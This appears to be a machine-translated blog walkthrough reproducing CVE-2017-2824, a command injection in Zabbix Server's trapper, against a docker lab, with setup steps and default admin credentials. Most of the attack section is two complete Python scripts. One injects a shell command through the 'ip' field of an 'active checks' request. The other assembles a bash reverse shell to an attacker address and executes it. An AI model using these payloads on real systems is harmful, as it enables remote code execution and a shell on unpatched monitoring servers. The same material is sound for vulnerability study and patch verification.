当前位置:网站首页>ZABBIX server trap command injection vulnerability (cve-2017-2824)
ZABBIX server trap command injection vulnerability (cve-2017-2824)
2022-07-02 05:58:00 【H-neck white cap】
List of articles
Statement
This article is only for technology learning and vulnerability recurrence , Do not use it for unauthorized penetration testing , Bear in mind !
One 、 Vulnerability profile
Zabbix By Alexei Vladishev Developed a kind of network monitoring 、 Management system , be based on Server-Client framework . Its Server End trapper command There is a Code Execution Vulnerability in the function , Specific packets can cause command injection , Then execute the code remotely . An attacker can start from a Zabbix proxy Initiate request , Which triggers the vulnerability .
Two 、 scope
Zabbix Server 2.4.X edition
3、 ... and 、 Environment building
Vulfocus:docker pull vulfocus/zabbix-cve_2017_2824:latest
View the local image and run the vulnerability environment
docker images
docker run -d -P vulfocus/zabbix-cve_2017_2824
-d: Suspend the image from running in the background
-P: Randomly map the port that needs to be opened to the public network of this server IP On port


visit ip:port Build successfully , Use the default administrator account password to enter the background
user name :admin
password :Zabbix

next stay Configuration Enter in the tab of Actions with hands Event source Choose Auto registration, Click on Create action, Start the automatic registration function as an administrator 


After the operation is completed, the automatic registration function is enabled .
Four 、 Local actual combat
POC test
Using links :https://github.com/listenquiet/cve-2017-2824-reverse-shell
import sys
import socket
import json
import sys
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data
target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))
for i in range(10000, 10500):
data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)

Use ls /tmp Check whether the command is executed successfully 
rebound Shell
Exp as follows :
import sys
import socket
import json
from time import sleep
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data
# target = "X.X.X.X"
target = sys.argv[1]
num = 1
exps = [';echo -n "/bin/bash" > /tmp/1.sh', ';echo -n " -i >& " >> /tmp/1.sh', ';echo -n "/dev/tcp/" >> /tmp/1.sh',
';echo -n "X.X." >> /tmp/1.sh', ';echo -n "X.X/" >> /tmp/1.sh', ';echo -n "1234 0>&1" >> /tmp/1.sh',
';/bin/bash /tmp/1.sh']
for exp in exps:
host = "vulhub" + str(num)
print(host)
print(send(target, {"request": "active checks", "host": host, "ip": exp}))
sleep(1)
num += 1
for i in range(10000, 10500):
data = send(target, {"request": "command", "scriptid": 1, "hostid": str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)

perform :python3 exp.py X.X.X.X
You can see that it has rebounded Shell
Attack complete !!!
边栏推荐
- Some descriptions of Mipi protocol of LCD
- Software testing Q & A
- Vscode paste image plugin saves image path settings
- Nacos 启动报错 Error creating bean with name ‘instanceOperatorClientImpl‘ defined in URL
- Lambda expressions and method references
- 【论文翻译】GCNet: Non-local Networks Meet Squeeze-Excitation Networks and Beyond
- uni-app开发中遇到的问题(持续更新)
- PHP obtains some values in the string according to the specified characters, and reorganizes the remaining strings into a new array
- 脑与认知神经科学Matlab Psytoolbox认知科学实验设计——实验设计四
- 3D 打印机 G 代码命令:完整列表和教程
猜你喜欢

PHP development and testing WebService (soap) -win

死磕大屏UI,FineReport开发日记

Huawei Hongmeng OS, is it OK?

How vite is compatible with lower version browsers

Alibaba: open source and self-developed liquid cooling data center technology
![[PHP是否安装了 SOAP 扩]对于php实现soap代理的一个常见问题:Class ‘SoapClient‘ not found in PHP的处理方法](/img/25/73f11ab2711ed2cc9f20bc7f9116b6.png)
[PHP是否安装了 SOAP 扩]对于php实现soap代理的一个常见问题:Class ‘SoapClient‘ not found in PHP的处理方法

3D printer G code command: complete list and tutorial

【C语言】简单实现扫雷游戏

Unity Shader 学习笔记(3)URP渲染管线带阴影PBR-Shader模板(ASE优化版本)

all3dp. All Arduino projects in com website (2022.7.1)
随机推荐
图片裁剪插件cropper.js
Cookie plugin and localforce offline storage plugin
[leetcode] day92 container with the most water
神机百炼3.53-Kruskal
《CGNF: CONDITIONAL GRAPH NEURAL FIELDS》阅读笔记
软件测试 - 概念篇
STC8H8K系列匯編和C51實戰——數碼管顯示ADC、按鍵串口回複按鍵號與ADC數值
Stc8h8k Series Assembly and c51 Real combat - NIXIE TUBE displays ADC, Key Series port reply Key number and ADC value
Ti millimeter wave radar learning (I)
Test case
Stc8h8k series assembly and C51 actual combat - keys allow key counting (using falling edge interrupt control)
PHP development and testing WebService (soap) -win
Can't the dist packaged by vite be opened directly in the browser
Page printing plug-in print js
Web页面用户分步操作引导插件driver.js
Reading notes of cgnf: conditional graph neural fields
Lambda expressions and method references
1037 Magic Coupon
Gcnet: non - local Networks meet Squeeze excitation Networks and Beyond
Several keywords in C language